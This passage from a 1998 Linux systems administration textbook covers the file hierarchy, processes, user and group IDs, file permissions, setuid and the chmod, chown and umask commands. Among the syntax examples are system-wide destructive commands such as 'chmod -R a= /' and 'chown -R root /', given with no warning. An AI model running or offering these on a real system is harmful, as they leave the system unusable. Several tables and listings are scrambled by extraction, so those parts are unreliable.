It becomes even more confusing when you start examining the the maze of links which intermingle the two major branches. Links are a way of referencing a file or directory by many names and many locations within the file hierarchy. They are effectively like "pointers" to files - think of them as like leaving a post-it note saying "see this file". Links will be explained in greater detail in the next chapter.

David Jones, Bruce Jamieson (15/10/98)

Page 60

85321, Systems Administration

Chapter 4: The File Hierarchy

To put it simply, /var is for VARiable data/files. /usr is for USeR accessible data, programs and libraries. Unfortunately, history has confused things - files which should have been placed in the /usr branch have been located in the /var branch and vice versa. Thus to "correct" things, a series of links have been put in place. Why the reason for the separation? Does it matter. The answer is: Yes, but No :) Yes in the sense that the file standard dictates that the /usr branch should be able to be mounted (another way of saying "attached" to the file hierarchy - this will be covered in the next chapter) READ ONLY (thus can't contain variable data). The reasons for this are historical and came about because of something called NFS exporting. NFS exporting is the process of one machine (a server) "exporting" its copy of the /usr structure (and others) to the network for other systems to use. If several systems were "sharing" the same /usr structure, it would not be a good idea for them all to be writing logs and variable data to the same area! It is also used because minimal installations of Linux can use the /usr branch directly from the CDROM (a read-only device). However, it is "No" in the sense that: /usr is usually mounted READ-WRITE-EXECUTE on Linux systems anyway In the author's experience, exporting /usr READ-ONLY via NFS isn't entirely successful without making some very non-standard modifications to the file hierarchy! The following are a few highlights of the /var and /usr directory branches:

/usr/local
All software that is installed on a system after the operating system package itself should be placed in the /usr/local directory. Binary files should be located in the /usr/local/bin (generally /usr/local/bin should be included in a user's PATH setting). By placing all installed software in this branch, it makes backups and upgrades of the system far easier - the system administrator can back-up and restore the entire /usr/local system with more ease than backing-up and restoring software packages from multiple branches (i.e.. /usr/src, /usr/bin etc.). An example of a /usr/local directory is listed below:
bin man mpeg netscape games sbin speak src lib volume-1.11 www rsynth info etc cern java

As you can see, there are a few standard directories (bin, lib and src) as well as some that contain installed programs.

David Jones, Bruce Jamieson (15/10/98)

Page 61

85321, Systems Administration

Chapter 4: The File Hierarchy

lib, include and src

Linux is a very popular platform for C/C++, Java and Perl program development. As we will discuss in later chapters, Linux also allows the system administrator to actually modify and recompile the kernel. Because of this, compilers, libraries and source directories are treated as "core" elements of the file hierarchy structure. The /usr structure plays host to three important directories:
/usr/include holds most of the standard C/C++ header files - this directory

will be referred to as the primary include directory in most Makefiles. Makefiles are special script-like files that are processed by the make program for the purposes of compiling, linking and building programs.
/usr/lib holds most static libraries as well as hosting subdirectories containing libraries for other (non C/C++) languages including Perl and TCL. It also plays host to configuration information for ldconfig. /usr/src holds the source files for most packages installed on the system. This is traditionally the location for the Linux source directory (/usr/src/linux),

for example:
linux linux-2.0.31 redhat

Unlike DOS/Windows based systems, most Linux programs usually come as source and are compiled and installed locally

/var/spool
This directory has the potential for causing a system administrator a bit of trouble as it is used to store (possibly) large volumes of temporary files associated with printing, mail and news. /var/spool may contain something like:
at cron lp mail lpd rwho mqueue uucp samba uucppublic

In this case, there is a printer spool directory called lp (used for storing print request for the printer lp) and a /var/spool/mail directory that contains files for each users incoming mail. Keep an eye on the space consumed by the files and directories found in /var/spool. If a device (like the printer) isn't working or a large volume of e-mail has been sent to the system, then much of the hard drive space can be quickly consumed by files stored in this location.

David Jones, Bruce Jamieson (15/10/98)

Page 62

85321, Systems Administration

Chapter 4: The File Hierarchy

X Windows
X-Windows provides UNIX with a very flexible graphical user interface. Tracing the X Windows file hierarchy can be very tedious, especially when your are trying to locate a particular configuration file or trying to removed a stale lock file. A lock file is used to stop more than one instance of a program executing at once, a stale lock is a lock file that was not removed when a program terminated, thus stopping the same program from restarting again Most of X Windows is located in the /usr structure, with some references made to it in the /var structure. Typically, most of the action is in the /usr/X11R6 directory (this is usually an alias or link to another directory depending on the release of X11 - the X Windows manager). This will contain:
bin doc include lib man

The main X Windows binaries are located in /usr/X11R6/bin. This may be accessed via an alias of /usr/bin/X11 . Configuration files for X Windows are located in /usr/X11R6/lib. To really confuse things, the X Windows configuration utility, xf86config, is located in /usr/X11R6/bin, while the configuration file it produces is located in /etc/X11 (XF86Config)! Because of this, it is often very difficult to get an "overall picture" of how X Windows is working - my best advice is read up on it before you start modifying (or developing with) it.

Bins
Which bin?
A very common mistake amongst first time UNIX users is to incorrectly assume that all "bin" directories contain temporary files or files marked for deletion. This misunderstanding comes about because: People associate the word "bin" with rubbish Some unfortunate GUI based operating systems use little icons of "trash cans" for the purposes of storing deleted/temporary files. However, bin is short for binary - binary or executable files. There are four major bin directories (none of which should be used for storing junk files :) /bin /sbin /usr/bin /usr/local/bin Why so many?

David Jones, Bruce Jamieson (15/10/98)

Page 63

85321, Systems Administration

Chapter 4: The File Hierarchy

All of the bin directories serve similar but distinct purposes; the division of binary files serves several purposes including ease of backups, administration and logical separation. Note that while most binaries on Linux systems are found in one of these four directories, not all are. /bin This directory must be present for the OS to boot. It contains utilities used during the startup; a typical listing would look something like:
Mail arch ash bash cat chgrp chmod domainname-yp chown compress cp cpio false csh cut date dd df dialog dircolors dmesg dnsdomainname domainname gzip head hostname ipmask kill killall mount mt mt-GNU mv netstat ping stty su sync tar tcsh telnet

ln du echo ed

ps login ls mail

touch pwd red rm

true ttysnoops umount

mailx free ftp getoptprog gunzip

rmdir mkdir mkfifo mknod more

umssync setserial setterm sh sln

uname zcat zsh

Note that this directory contains the shells and some basic file and text utilities (ls, pwd, cut, head, tail, ed etc). Ideally, the /bin directory will contain as few files as possible as this makes it easier to take a direct copy for recovery boot/root disks. /sbin /sbin Literally "System Binaries". This directory contains files that should generally only be used by the root user, though the Linux file standard dictates that no access restrictions should be placed on normal users to these files. It should be noted that the PATH setting for the root user includes /sbin, while it is (by default) not included in the PATH of normal users. The /sbin directory should contain essential system administration scripts and programs, including those concerned with user management, disk administration, system event control (restart and shutdown programs) and certain networking programs. As a general rule, if users need to run a program, then it should not be located in /sbin. A typical directory listing of /sbin looks like:
adduser agetty arp badblocks bdflush chattr clock debugfs depmod swapdev ifconfig init insmod installpkg kbdrate killall5 ksyms ldconfig lilo mkfs.minix mklost+found mkswap mkxfs modprobe mount netconfig netconfig.color netconfig.tty rmmod rmt rootflags route runlevel setup setup.tty shutdown

David Jones, Bruce Jamieson (15/10/98)

Page 64

85321, Systems Administration

Chapter 4: The File Hierarchy

dosfsck dumpe2fs e2fsck explodepkg fdisk fsck

liloconfig liloconfig-color lsattr lsmod makebootdisk makepkg

pidof pkgtool pkgtool.tty plipconfig ramsize rarp

swapoff swapon telinit tune2fs umount

fsck.minix genksyms halt

mkdosfs mke2fs mkfs

rdev reboot removepkg

update vidmode xfsck

The very important ldconfig program is also located in /sbin. While not commonly used from the shell prompt, ldconfig is an essential program for the management of dynamic libraries (it is usually executed at boot time). It will often have to be manually run after library (and system) upgrades. You should also be aware of: /usr/sbin - used for non-essential admin tools. /usr/local/sbin - locally installed admin tools.
/usr/bin

This directory contains most of the user binaries - in other words, programs that users will run. It includes standard user applications including editors and email clients as well as compilers, games and various network applications. A listing of this directory will contain some 400 odd files. Users should definitely have /usr/bin in their PATH setting.
/usr/local/bin

To this point, we have examined directories that contain programs that are (in general) part of the actual operating system package. Programs that are installed by the system administrator after that point should be placed in /usr/local/bin. The main reason for doing this is to make it easier to back up installed programs during a system upgrade, or in the worst case, to restore a system after a crash. The /usr/local/bin directory should only contain binaries and scripts - it should not contain subdirectories or configuration files.

Configuration files, logs and other bits!

etc etc etc.
/etc is one place where the root user will spend a lot of time. It is not only the

home to the all important passwd file, but contains just about every configuration file for a system (including those for networking, X Windows and the file system). The /etc branch also contains the skel, X11 and rc.d directories.

David Jones, Bruce Jamieson (15/10/98)

Page 65

85321, Systems Administration

Chapter 4: The File Hierarchy

/etc/skel contains the skeleton user files that are placed in a user's directory

when their account is created.

/etc/X11 contains configuration files for X Windows. /etc/rc.d is contains rc directories - each directory is given by the name rcn.d (n is the run level) - each directory may contain multiple files that will be

executed at the particular run level. A sample listing of a /etc/rc.d directory looks something like:
init.d rc rc.local rc.sysinit rc0.d rc1.d rc2.d rc3.d rc4.d rc5.d rc6.d

Logs
Linux maintains a particular area in which to place logs (or files which contain records of events). This directory is /var/log. This directory usually contains:
cron cron.1 cron.2 dmesg httpd lastlog log.nmb log.smb maillog maillog.1 maillog.2 messages messages.1 messages.2 samba samba-log. samba.1 samba.2 secure secure.1 secure.2 sendmail.st spooler spooler.1 spooler.2 uucp wtmp xferlog xferlog.1 xferlog.2

/proc The /proc directory hierarchy contains files associated with the executing kernel. The files contained in this structure contain information about the state of the system's resource usage (how much memory, swap space and CPU is being used), information about each process and various other useful pieces of information. We will examine this directory structure in more depth in later chapters. The /proc file system is the main source of information for a program called top. This is a very useful administration tool as it displays a "live" readout of the CPU and memory resources being used by each process on the system. /dev We will be discussing /dev in detail in the next chapter, however, for the time being, you should be aware that this directory is the primary location for special files called device files.

Conclusion
Future standards
Because Linux is a dynamic OS, there will no doubt be changes to its file system as well. Two current issues that face Linux are:

David Jones, Bruce Jamieson (15/10/98)

Page 66

85321, Systems Administration

Chapter 4: The File Hierarchy

Porting Linux on to may architectures and requiring a common location for hardware independent data files and scripts - the current location is /usr/share - this may change. The location of third-party commercial software on Linux systems - as Linux's popularity increases, more software developers will produce commercial software to install on Linux systems. For this to happen, a location in which this can be installed must be provided and enforced within the file system standard. Currently, /opt is the likely option. Because of this, it is advisable to obtain and read the latest copy of the file system standard so as to be aware of the current issues. Other information sources are easily obtainable by searching the web. You should also be aware that while (in general), the UNIX file hierarchy looks similar from version to version, it contains differences based on requirements and the history of the development of the operating system implementation.

Review Questions
4.1
You have just discovered that the previous system administrator of the system you now manage installed netscap in /sbin. Is this an appropiate location? Why/Why not?.

4.2
Where are man pages kept? Explain the format of the man page directories. (Hint: I didn't explain this anywhere in this chapter - you may have to do some looking)

4.3
As a system administrator, you are going to install the following programs, in each case, state the likely location of each package: Java compiler and libraries DOOM (a loud, violent but extremely entertaining game) A network sniffer (for use by the sys admin only) A new kernel source A X Windows manager binary specially optimised for your new monitor

David Jones, Bruce Jamieson (15/10/98)

Page 67

85321, Systems Administration

Chapter 5: Processes and Files

Chapter
Introduction

Processes and Files

This chapter introduces the important and related UNIX concepts of processes and files. A process is basically an executing program. All the work performed by a UNIX system is carried out by processes. The UNIX operating system stores a great deal of information about processes and provides a number of mechanisms by which you can manipulate both the files and the information about them. All the long term information stored on a UNIX system, like most computers today, is stored in files which are organised into a hierarchal directory structure. Each file on a UNIX system has a number of attributes that serve different purposes. As with processes there are a collection of commands which allow users and Systems Administrators to modify these attributes. Among the most important attributes of files and processes examined in this chapter are those associated with user identification and access control. Since UNIX is a multiuser operating system it must provide mechanisms which restrict what and where users (and their processes) can go. An understanding of how this is achieved is essential for a Systems Administrator.

Multiple users
UNIX is a multi-user operating system. This means that at any one time there are multiple people all sharing the computer and its resources. The operating system must have some way of identifying the users and protecting one user's resources from the other users.

Identifying users
Before you can use a UNIX computer you must first log in. The login process requires that you have a username and a password. By entering your username you identify yourself to the operating system.

David Jones, Bruce Jamieson (15/10/98)

Page 68

85321, Systems Administration

Chapter 5: Processes and Files

Users and groups

In addition to a unique username UNIX also places every user into at least one group. Groups are used to provide or restrict access to a collection of users and are specified by the /etc/group file. To find out what groups you are a member of use the groups command. It is possible to be a member of more than one group.

Names and numbers

As you've seen each user and group has a unique name. However the operating system does not use these names internally. The names are used for the benefit of the human users. For its own purposes the operating system actually uses numbers to represent each user and group (numbers are more efficient to store). This is achieved by each username having an equivalent user identifier (UID) and every group name having an equivalent group identifier (GID). The association between username and UID is stored in the /etc/passwd file. The association between group name and GID is stored in the /etc/group file. To find out the your UID and initial GID try the following command
grep username /etc/passwd

Where username is your username. This command will display your entry in the /etc/passwd file. The third field is your UID and the fourth is your initial GID. On my system my UID is 500 and my GID is 100.
bash$ grep david /etc/passwd david:*:500:100:David Jones:/home/david:/bin/bash

id The id command can be used to discover username, UID, group name and GID of any user.
dinbig:~$ id uid=500(david) gid=100(users) groups=100(users) dinbig:~$ id root uid=0(root) gid=0(root) groups=0(root),1(bin), 2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)

In the above you will see that the user root is a member of more than one group. The entry in the /etc/passwd file stores the GID of the users initial group (mine is 100, root's is 0). If a user belongs to any other groups they are specified in the /etc/group file.

David Jones, Bruce Jamieson (15/10/98)

Page 69

85321, Systems Administration

Chapter 5: Processes and Files

Commands and processes

Whenever you run a program, whether it is by typing in at the command line or running it from X-Windows, a process is created. It is the process, a program in execution and a collection of executable code, data and operating system data structures, which perform the work of the program. The UNIX command line that you use to enter commands is actually another program/command called the shell. The shell is responsible for asking you for a command and then attempting to execute the command. (The shell also performs a number of other tasks which are discussed in the next chapter).

Where are the commands?

For you to execute a command, for example ls, that command must be in one of the directories in your search path. The search path is a list of directories maintained by the shell. When you ask the shell to execute a command it will look in each of the directories in your search path for a file with the same name as the command. When it finds the executable program it will run it. If it doesn't find the executable program it will report command_name: not found. which Linux and most UNIX operating systems supply a command called which. The purpose of this command is to search through your search path for a particular command and tell you where it is. For example, the command which ls on my machine aldur returns /usr/bin/ls. This means that the program for ls is in the directory /usr/bin. Exercises
5.1

Use the which command to find the locations of the following commands
ls echo set

When is a command not a command?

In the previous exercise you will have discovered that which could not find the set command. How can this be possible? Enter the set command. Does it work? Why can't which find it? This is because set is a built-in shell command. This means there isn't an executable program that contains the code for the set command. Instead the code for set is actually built into the shell.

David Jones, Bruce Jamieson (15/10/98)

Page 70

85321, Systems Administration

Chapter 5: Processes and Files

Controlling processes
Controlling Processes The resource materials section for Week 2 (on the 85321 Web site and CDROM) has a reading on controlling processes. Exercises
5.2

Under the VMS operating system it is common to use the key combination CTRL-Z to exit a program. A new user on your UNIX system has been using VMS a lot. What happens when he uses CTRL-Z while editing a document with vi?

Process attributes
For every process that is created the UNIX operating system stores information including its real UID, GID and its effective UID and GID the code and variables used by the process (its address map) the status of the process its priority its parent process

Parent processes
All processes are created by another process (its parent). The creation of a child process is usually a combination of two operations forking A new process is created that is almost identical to the parent process. It will be using the same code. exec This changes the code being used by the process to that of another program. When you enter a command it is the shell that performs these tasks. It will fork off a new process (which is running the shell's program). The child process then performs an exec to change to the code for the command you wish executed. While your command is executing the shell will block until its child has completed. When the child dies the shell will present you with another prompt and wait for a new command.

David Jones, Bruce Jamieson (15/10/98)

Page 71

85321, Systems Administration

Chapter 5: Processes and Files

Process UID and GID

In order for the operating system to know what a process is allowed to do it must store information about who owns the process (UID and GID). The UNIX operating system stores two types of UID and two types of GID.

Real UID and GID

A process' real UID and GID will be the same as the UID and GID of the user who ran the process. Therefore any process you execute will have your UID and GID. The real UID and GID are used for accounting purposes.

Effective UID and GID

The effective UID and GID are used to determine what operations a process can perform. In most cases the effective UID and GID will be the same as the real UID and GID. However using special file permissions it is possible to change the effective UID and GID. How and why you would want to do this is examined later in this chapter. Exercises
5.3

Create a text file called i_am.c that contains the following C program. Compile the program by using the following command
cc i_am.cc -o i_am

This will produce an executable program called i_am. Run the program. (rather than type the code, you should be able to cut and paste it from the online versions of this chapter that are on the CD-ROM and Web site)
#include <stdio.h> #include <unistd.h> void main() { int real_uid, effective_uid; int real_gid, effective_gid; /* get the user id and group id*/ real_uid = getuid(); effective_uid = geteuid(); real_gid = getgid(); effective_gid = getegid(); /* display what I found */ printf( "The real uid is %d\n", real_uid ); printf("The effective uid is %d\n", effective_uid ); printf("The real gid is %d\n", real_gid ); printf("The effective gid is %d\n", effective_gid ); }

David Jones, Bruce Jamieson (15/10/98)

Page 72

85321, Systems Administration

Chapter 5: Processes and Files

Files
All the information stored by UNIX onto disk is stored in files. Under UNIX even directories are just special types of files. A previous reading has already introduced you to the basic UNIX directory hierarchy. The purpose of this section is to fill in some of the detail.

File types
UNIX supports a small number of different file types. The following table summarises these different file types. What the different file types are and what their purpose is will be explained as we progress. File types are signified by a single character. File type
d l b c p

Meaning a normal file a directory symbolic link block device file character device file a fifo or named pipe
Table 5 .1 UNIX file type s

For current purposes you can think of these file types as falling into three categories normal files, Files under UNIX are just a collection of bytes of information. These bytes might form a text file or a binary file. directories or directory files, Remember, for UNIX a directory is just another file which happens to contain the names of files and their I-node. An I-node is an operating system data structure which is used to store information about the file (explained later). special or device files. Explained in more detail later on in the text these special files provide access to devices which are connected to the computer. Why these exist and what they are used for will be explained.

Types of normal files

Quite obviously it is possible to have different types of normal files based on the data they contain. You can have text files, executable files, sound files and images. If youre unsure what type of normal file you have the UNIX file command might help.
[david@beldin david]$ file /demo_1.au /etc/passwd /usr/bin/file demo_1.au: Sun/NeXT audio data: 8-bit ISDN u-law, mono, 8000 Hz /etc/passwd: ASCII text

David Jones, Bruce Jamieson (15/10/98)

Page 73

85321, Systems Administration

Chapter 5: Processes and Files

/usr/bin/file: ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked, stripped

In this example the file command has been used to discover what type of file three files are. The three files here are audio, text and executable files respectively. How does this work? The file command looks for a magic number inside a data file. If the file contains a certain magic number then it must be a certain type of file. The magic numbers and the corresponding file description is contained in a text data file. On RedHat system you should find this information in the file /usr/lib/magic. Exercises
5.4

Examine the contents of the /usr/lib/magic file. Experiment with the file command on a number of different files.

File attributes
UNIX stores a variety of information about each file including where the file's data is stored on the disk what the file's name is who owns the file who is allowed to do what with the file how big the file is when was the file last modified how many links there are to the file UNIX uses a data structure called an inode to store all of this information (except for the filename). Every file on a UNIX system must have an associated inode. You can find out which inode a file has by using the ls -i command.
dinbig:~$ ls -i README 45210 README

In the above example the file README is using inode 45210. As mentioned previously, the name of a file is actually stored in the directory in which it appears. Throughout this text you will find the term file used to mean both files and directories.

Viewing file attributes

To examine the various attributes associated with a file you can use the -l switch of the ls command.

David Jones, Bruce Jamieson (15/10/98)

Page 74

85321, Systems Administration

Chapter 5: Processes and Files

Fig ur e 5 .1 File Attr ibute s

Filenames Most UNIX file systems (including the Linux file system) will allow filenames to be 255 characters long and use almost any characters. However there are some characters that can cause problems if used including * $ ? ' " / \ and others. Why is explained in the next chapter. This doesnt mean you cant create filenames that contain these characters, just that you can have some problems if you do. Size The size of a file is specified in bytes. So the above file is 227 bytes long. The standard Linux file system will allow files to be up to 4TB (terra bytes) in size. Date The date specified here is the date the file was last modified. Permissions The permission attributes of a file specifies what operations can be done with a file and who can perform those operations. Permissions are explained in more detail in the following section.

David Jones, Bruce Jamieson (15/10/98)

Page 75

85321, Systems Administration

Chapter 5: Processes and Files

Exercises
5.5

5.6

Execute the following command ls -ld / /dev (it produces a long listing of the directories / and /dev). Why is the /dev directory bigger than the / directory? Execute the following commands (double the number of times the letter 'a' appears in the filename for the touch command) ls ld /tmp for name in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 do touch /tmp/aaaaaaaaaaaaaaaaaaaaaaaaaaaa$name done ls -ld /tmp These commands create a number of empty files inside the /tmp directory. (The touch command is used to create an empty file if the file doesn't exist, or updates the date last modified if it does.) Why does the output of the ls -ld /tmp command change?

File protection
Given that there can be many people sharing a UNIX computer it is important that the operating system provide some method of restricting access to files. I don't want you to be able to look at my personal files. UNIX achieves this by restricting users to three valid operations, Under UNIX there are only three things you can do to a file (or directory): read, write or execute it. allow the file owner to specify who can do these operations on a file. The file owner can use the user and group concepts of UNIX to restrict which users (actually it restricts which processes that are owned by particular users) can perform these tasks.

File operations
UNIX provides three basic operations that can be performed on a file or a directory. The following table summarises those operations. It is important to recognise that the operations are slightly different depending whether they are being applied to a file or a directory. Operation read write execute Effect on a file Effect on a directory read the contents of the file find out what files are in the directory, e.g. ls delete the file or add be able to create or remove something to the file a file from the directory be able to run a be able to access a file file/program within a directory
UNIX Table 5 .2 file o pe r atio ns

David Jones, Bruce Jamieson (15/10/98)

Page 76

85321, Systems Administration

Chapter 5: Processes and Files

Users, groups and others

Processes wishing to access a file on a UNIX computer are placed into one of three categories user The individual user who owns the file (by default the user that created the file but this can be changed). In figure 5.1 the owner is the user david. group The collection of people that belong to the group that owns the file (by default the group to which the file's creator belongs). In figure 5.1 the group is staff. other Anybody that doesn't fall into the first two categories. File permissions Each user category (user, group and other) have their own set of file permissions. These control what file operation each particular user category can perform. File permissions are the first field of file attributes to appear in the output of ls -l. File permissions actually consist of four fields file type, user permissions, group permissions, and other permissions.

Fig ur e File

5 .2

Pe r missio ns

Three sets of file permissions

As the diagram shows the file permissions for a file are divided into three different sets one for the user, one for a group which owns the file and one for everyone else. A letter indicates that the particular category of user has permission to perform that operation on the file. A - indicates that they can't.

David Jones, Bruce Jamieson (15/10/98)

Page 77

85321, Systems Administration

Chapter 5: Processes and Files

In the above diagram the owner can read, write and execute the file (rwx). The group can read and write the file (rw-), while other cannot do anything with the file (---). Symbolic and numeric permissions
rwxr-x-w- is referred to as symbolic permissions. The permissions are

represented using a variety of symbols. There is another method for representing file permissions called numeric or absolute permissions where the file permissions are represented using numbers. Symbols The following table summarises the symbols that can be used in representing file permissions using the symbolic method. Symbol
r w x s t

Purpose read write execute setuid or setgid (depending on location) sticky bit
Table 5 .3 Symbo lic file pe r missio ns

Special permissions
Table 5.3 introduced three new types of permission setuid, setgid and the sticky bit. Sticky bit on a file In the past having the sticky bit set on a file meant that when the file was executed the code for the program would "stick" in RAM. Normally once a program has finished its code was taken out of RAM and that area used for something else. The sticky bit was used on programs that were executed regularly. If the code for a program is already in RAM the program will start much quicker because the code doesn't have to be loaded from disk. However today with the advent of shared libraries and cheap RAM most modern Unices ignore the sticky bit when it is set on a file.

David Jones, Bruce Jamieson (15/10/98)

Page 78

85321, Systems Administration

Chapter 5: Processes and Files

Sticky bit on a directory The /tmp directory on UNIX is used by a number of programs to store temporary files regardless of the user. For example when you use elm (a UNIX mail program) to send a mail message, while you are editing the message it will be stored as a file in the /tmp directory. Modern UNIX operating systems (including Linux) use the sticky bit on a directory to make /tmp directories more secure. Try the command ls -ld /tmp what do you notice about the file permissions of /tmp. If the sticky bit is set on a directory you can only delete or rename a file in that directory if you are the owner of the directory, the owner of the file, or the super user

Changing passwords
When you use the passwd command to change your password the command will actually change the contents of either the /etc/passwd or /etc/shadow files. These are the files where your password is stored. By default most Linux systems use /etc/passwd As has been mentioned previously the UNIX operating system uses the effective UID and GID of a process to decide whether or not that process can modify a file. Also the effective UID and GID are normally the UID and GID of the user who executes the process. This means that if I use the passwd command to modify the contents of the /etc/passwd file (I write to the file) then I must have write permission on the /etc/passwd file. Let's find out. What are the file permissions on the /etc/passwd file?
dinbig:~$ ls -l /etc/passwd -rw-r--r-1 root root 697 Feb 1 21:21 /etc/passwd

On the basis of these permissions should I be able to write to the /etc/passwd file? No. Only the user who owns the file, root, has write permission. Then how do does the passwd command change my password? setuid and setgid This is where the setuid and setgid file permissions enter the picture. Let's have a look at the permissions for the passwd command (first we find out where it is).
dinbig:~$ which passwd /usr/bin/passwd dinbig:~$ ls -l /usr/bin/passwd -rws--x--x 1 root bin

7192 Oct 16 06:10

David Jones, Bruce Jamieson (15/10/98)

Page 79

85321, Systems Administration

Chapter 5: Processes and Files

/usr/bin/passwd

Notice the s symbol in the file permissions of the passwd command, this specifies that this command is setuid. The setuid and setgid permissions are used to change the effective UID and GID of a process. When I execute the passwd command a new process is created. The real UID and GID of this process will match my UID and GID. However the effective UID and GID (the values used to check file permissions) will be set to that of the command. In the case of the passwd command the effective UID will be that of root because the setuid permission is set, while the effective GID will be my group's because the setgid bit is not set. Exercises
5.7

Log in as the root user, go to the directory that contains the file i_am you created in exercise 5.3. Execute the following commands cp i_am i_am_root cp i_am i_am_root_group chown root.root i_am_root* chmod a+rx i_am* chmod u+s i_am_root chmod +s i_am_root_group ls -l i_am* These commands make copies of the i_am program called i_am_root with setuid set, and i_am_root_group with setuid and setgid set. Log back in as your normal user and execute all three of the i_am programs. What do you notice? What is the UID and gid of root?

Numeric permissions
Up until now we have been using symbols like r w x s t to represent file permissions. However the operating system itself doesn't use symbols, instead it uses numbers. When you use symbolic permissions, the commands translate between the symbolic permission and the numeric permission. With numeric or absolute permissions the file permissions are represented using octal (base 8) numbers rather than symbols. The following table summarises the relationship between the symbols used in symbolic permissions and the numbers used in numeric permissions. To obtain the numeric permissions for a file you add the numbers for all the permissions that are allowed together.

David Jones, Bruce Jamieson (15/10/98)

Page 80

85321, Systems Administration

Chapter 5: Processes and Files

Symbol s
t r w x

Number 4000 setuid 2000 setgid 1000 400 user 40 group 4 other 200 user 20 group 2 other 100 user 10 group 1 other
Table 5 .4 file pe r missio ns

Nume r ic

Symbolic to numeric
Here's an example of converting from symbolic to numeric using a different method. This method relies on using binary numbers to calculate the numeric permissions. The process goes something like this write down the symbolic permissions, under each permission that is on, write a one under each permission that is off, write a zero for each category of user, user, group and other convert the three binary digits into decimal, e.g. rwx -> 111 -> 7 combine the three numbers (one each for user, group and other) into a single octal number

Fig ur e Symbo lic to

5 .3 pe r missio ns

Nume r ic

Exercises
5.8

Convert the following symbolic permissions to numeric

rwxrwxrwx -----------r--r-r-sr-x--rwsrwsrwt

David Jones, Bruce Jamieson (15/10/98)

Page 81

85321, Systems Administration

Chapter 5: Processes and Files

5.9

Convert the following numeric permissions to symbolic

710 4755 5755 6750 7000

Changing file permissions

The UNIX operating system provides a number of commands for users to change the permissions associated with a file. The following table provides a summary. Command
chmod umask

chgrp chown
Co mmands to

Purpose change the file permissions for a file set the default file permissions for any files to be created. Usually run as the user logs in. change the group owner of a file change the user owner of a file.
c hang e Table 5 .5 file o wne r ship and pe r missio ns

Changing permissions
The chmod command is used to the change a file's permissions. Only the user who owns the file can change the permissions of a file (the root user can also do it). Format
chmod [-R] operation files

The optional (the [ ] are used to indicate optional) switch -R causes chmod to recursively descend any directories changing file permissions as it goes.
files is the list of files and directories to change the permissions of. operation indicates how to change the permissions of the files. operation can

be specified using either symbolic or absolute permissions. Numeric permissions When using numeric permissions operation is the numeric permissions to change the files permissions to. For example
chmod 770 my.file

will change the file permissions of the file my.file to the numeric permissions 770.

David Jones, Bruce Jamieson (15/10/98)

Page 82

85321, Systems Administration

Chapter 5: Processes and Files

Symbolic permissions When using symbolic permissions operation has three parts who op
symbolic_permission where

who specifies the category of user to change the permissions for It can be any combination of u for user, g for group, o for others and a for all categories. op specifies how to change the permissions + add permission, - remove permission, = set permission permission specifies the symbolic permissions r for read, w for write, x execute, s set uid/gid, t set sticky bit. Examples chmod u+rwx temp.dat add rwx permission for the owner of the file, these permissions are added to the existing permissions chmod go-rwx temp.dat remove all permissions for the group and other categories chmod -R a-rwx /etc turn off all permissions, for all users, for all files in the /etc directory. chmod -R a= / turn off all permissions for everyone for all files chmod 770 temp.dat allow the user and group read, write and execute and others no access

Changing owners
The UNIX operating system provides the chown command so that the owner of a file can be changed. However in most Unices only the root user can use the command. Two reasons why this is so are in a file system with quotas (quotas place an upper limit of how many files and how much disk space a user can use) a person could avoid the quota system by giving away the ownership to another person if anyone can give ownership of a file to root they could create a program that is setuid to the owner of the file and then change the owner of the file to root

Changing groups
UNIX also supplies the command chgrp to change the group owner of a file. Any user can use the chgrp command to change any file they are the owner of. However you can only change the group owner of a file to a group to which you belong.

David Jones, Bruce Jamieson (15/10/98)

Page 83

85321, Systems Administration

Chapter 5: Processes and Files

For example
dinbig$ whoami david dinbig$ groups users dinbig$ ls -l tmp -rwxr-xr-x 2 david users 1024 Feb 1 21:49 tmp dinbig$ ls -l /etc/passwd dinbig$ chgrp users /etc/passwd chgrp: /etc/passwd: Operation not permitted -rw-r--r-- 1 root root 697 Feb 1 21:21 /etc/passwd dinbig$ chgrp man tmp chgrp: you are not a member of group `man': Operation not permitted

In this example I've tried to change the group owner of /etc/passwd. This failed because I am not the owner of that file. I've also tried to change the group owner of the file tmp, of which I am the owner, to the group man. However I am not a member of the group man so it has also failed.

The commands
The commands chown and chgrp are used to change the owner and group owner of a file. Format
chown [-R] owner files chgrp [-R] group files

The optional switch -R works in the same was as the -R switch for chmod. It modifies the command so that it descends any directories and performs the command on those sub-directories and files in those sub-directories.
owner is either a numeric user identifier or a username. group is either a numeric group identifier or a group name. files is a list of files of which you wish to change the ownership.

Some systems (Linux included) allow owner in the chown command to take the format owner.group. This allows you to change the owner and the group owner of a file with one command. Examples chown david /home/david Change the owner of the directory /home/david to david. This demonstrates one of the primary uses of the chown command. When a new account is created the root user creates a number of directories and files. Since root created them they are owned by root. In real life these files and directories should be owned by the new username.

David Jones, Bruce Jamieson (15/10/98)

Page 84

85321, Systems Administration

Chapter 5: Processes and Files

chown -R root / Change the owner of all files to root. chown david.users /home/david Change the ownership of the file /home/david so that it is owned by the user david and the group users. chgrp users /home/david Change the group owner of the directory /home/david to the group users.

Default permissions
When you create a new file it automatically receives a set of file permissions.
dinbig:~$ touch testing dinbig:~$ ls -l testing -rw-r--r-1 david users

0 Feb 10 17:36 testing

In this example the file testing has been given the default permissions rw-r-r--. Any file I create will receive the same default permissions.

umask
The built-in shell command umask is used specify and view what the default file permissions are. Executing the umask command without any arguments will cause it to display what the current default permissions are.
dinbig:~$ umask 022

By default the umask command uses the numeric format for permissions. It returns a number which specifies which permissions are turned off when a file is created. In the above example the user has the value 0 This means that by default no permissions are turned off for the user. the group and other have the value 2 This means that by default the write permission is turned off. You will notice that the even though the execute permission is not turned off my default file doesn't have the execute permission turned on. I am not aware of the exact reason for this.
umask versions

Since umask is a built-in shell command the operation of the umask command will depend on the shell you are using. This also means that you'll have to look at the man page for your shell to find information about the umask command.

David Jones, Bruce Jamieson (15/10/98)

Page 85

85321, Systems Administration

Chapter 5: Processes and Files

umask for bash

The standard shell for Linux is bash. The version of umask for this shell supports symbolic permissions as well as numeric permissions. This allows you to perform the following.
dinbig:~$ umask -S u=rwx,g=r,o=r dinbig:~$ umask u=rw,g=rw,o= dinbig:~$ umask -S u=rw,g=rw,o=

Exercises
5.10

Use the umask command so that the default permissions for new files are set to rw------- 772

File permissions and directories

As shown in table 5.2 file permissions have a slightly different effect on directories than they do on files. The following example is designed to reinforce your understanding of the effect of file permissions on directories.

For example
